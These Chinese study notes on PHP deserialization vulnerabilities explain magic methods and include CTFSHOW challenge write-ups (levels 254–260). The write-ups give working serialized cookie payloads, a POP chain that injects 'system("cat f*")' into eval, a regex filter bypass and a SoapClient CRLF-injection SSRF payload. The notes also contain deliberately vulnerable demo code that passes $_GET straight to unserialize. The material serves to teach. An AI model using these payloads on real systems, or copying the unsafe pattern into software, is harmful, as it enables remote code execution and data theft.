#知识点:
1、什么是反序列化操作?-格式转换
2、为什么会出现安全漏洞?-魔术方法
3、反序列化漏洞如何发现? -对象逻辑
4、反序列化漏洞如何利用?-POP 链构造
补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如 SoapClient
-语言自身的安全缺陷-如 CVE-2016-7124
#反序列化课程点:
-PHP&Java&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
目的:更好的传输数据
PHP序列化函数:
serialize() //将一个对象转换成一个字符串
反序列化函数:
unserialize() //将字符串还原成一个对象
#PHP 反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而
导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些
魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
#魔术方法利用点分析:
触发:
unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象 new 的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用 isset()或 empty()触发
__unset(): //在不可访问的属性上使用 unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如
果存在,该方法会被优先调用
Ø 反序列化-魔术方法&漏洞引发&变量修改等
Ø CTFSHOW-关卡 254 到 260-原生类&POP 构造
Ø CMS 代码审计-Typecho 反序列化&魔术方法逻辑
#反序列化-魔术方法&漏洞引发&变量修改等
<?php
//序列化&反序列化
class demotest{
public $name='xiaodi';
public $sex='man';
public $age='29';
}
$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';
//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s
:3:"age";s:2:"29";}
//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi"
["sex"]=> string(3) "man" ["age"]=> string(2) "29" }
//安全问题
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'<br>';
}
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct 和 __construct,创建了个对象,在程序结束后会自动销毁
__toString(): //把类当作字符串使用时触发
//$a->test();//触发 test
//echo $a;//触发__toString
//触发__destruct
echo serialize($a); ——这里指用一次序列化后,会进行一次性的使用,使用完就自动销毁,则刚好可以触发魔术方法destruct
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);
?x=O:1:"B":0:{}
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法自定义变量
//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
unserialize($_GET[c]);
//$c=new C();
//echo serialize($c);/
当我们将c=O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}
正常的调用魔术方法ipconfig命令
当我们对反序列进行参数修改时,?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
私有、公有、保护对象:
private、public、protected
私有:需要创建一个对象,此对象才可进行访问
公有:谁都可以直接访问
CTFSHOW-关卡 254 到 260-原生类&POP 构造
254-对象引用执行逻辑
username=xxxxxx&password=xxxxxx
代码逻辑:
- 需要触发对象vipOneKeyGetflag
- 触发条件$this->isVip为真
- 通过username和password触发对象login
- Login对象对password和username进行对比
- 然后过对象checkvip
- 最后触发vipOneKeyGetflag
255反序列化变量修改
根据代码得知:
User变量会收到COOKIE的值,然后进到login对象里,通过username和password的判断,然后再进入checkvip里,最后进行vipOneKeyGetflag
发现$isVip的值没有被改过,一直都是false,就说明如果不改,则不会出flag,此时user变量就出现的改isVip的作用跟ClassC一样,得知user变量要进行反序列化,则我们构建时,就要加一个序列化操作
它会自动去调用对象,这里的urlencode是考虑以url的形式上传,所以避免格式不当报错
通过抓包,修改Cookie参数值
Code:
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257反序列化参数修改2
多了一个对username和password的验证,对象中前面对我们的GET变量进行验证,后者不能让username和password相同,还没有对$isVIP进行改值,刚好给了user接收COokie,此时就构造,将username和password的值在对象中,修改,$isVip也是
CODE:
public $username='x';
public $password='y';
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
GET:username=x&password=y
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
258反序列化参数修改&对象调用逻辑
发现多个class,查看关键函数(也就是flag获取核心点),这里没有,但有个eval函数(执行代码函数)
本题通过代码逻辑得知:class ctfshoweruser 里的成员都是私有成员,私有成员需要外部主动去创建一个对象对其进行连接。由于序列化的特性是可以更改变量的属性,那么核心点在backDoor那里的话,就要尝试去引用此对象,这里使用__construct的方法,去更改它的new的属性值改为new backDoor() 原因是:$class变量作为私有变量,必须要new的形式才可进行,而序列化的特性,只能修改属性,所以最佳的修改点就是__construct。
在构造时,要对backDoor对象的$code变量,更改属性值,让eval函数进行执行
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo serialize($b);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
259反序列化参数修改&对象调用逻辑
比上题多了一个过滤,逻辑是一样的
只需要对过滤条件进行绕过即可:过滤条件:preg_match('/[oc]:\d+:/i')
[oc]——匹配字符集合中的任意一个字符,即匹配 “o” 或 “c”。
:—— 匹配一个冒号字符。
\d+:——匹配一个或多个数字。
:——匹配一个冒号字符。
/i——表示对大小写不敏感的匹配。
用str_replace将要过滤的进行替换
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('cat flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
260原生态类&call魔术方法&配合SSRF
原生化:内置的组件SoapClient
逻辑代码中,没有看到其对象
故用原生类:让它自己访问自己,实现本地访问
开放配置
https://blog.csdn.net/qq_38154820/article/details/119952852
生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
此会在本地存入一个文件flag.txt
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
260-字符串序列化
ctfshow=ctfshow_i_love_36D
Ø CMS 代码审计-Typecho 反序列化&魔术方法逻辑
入门教学 | Typecho反序列化漏洞分析-安全客 - 安全资讯平台
针对特殊函数,进行全局搜索unserialize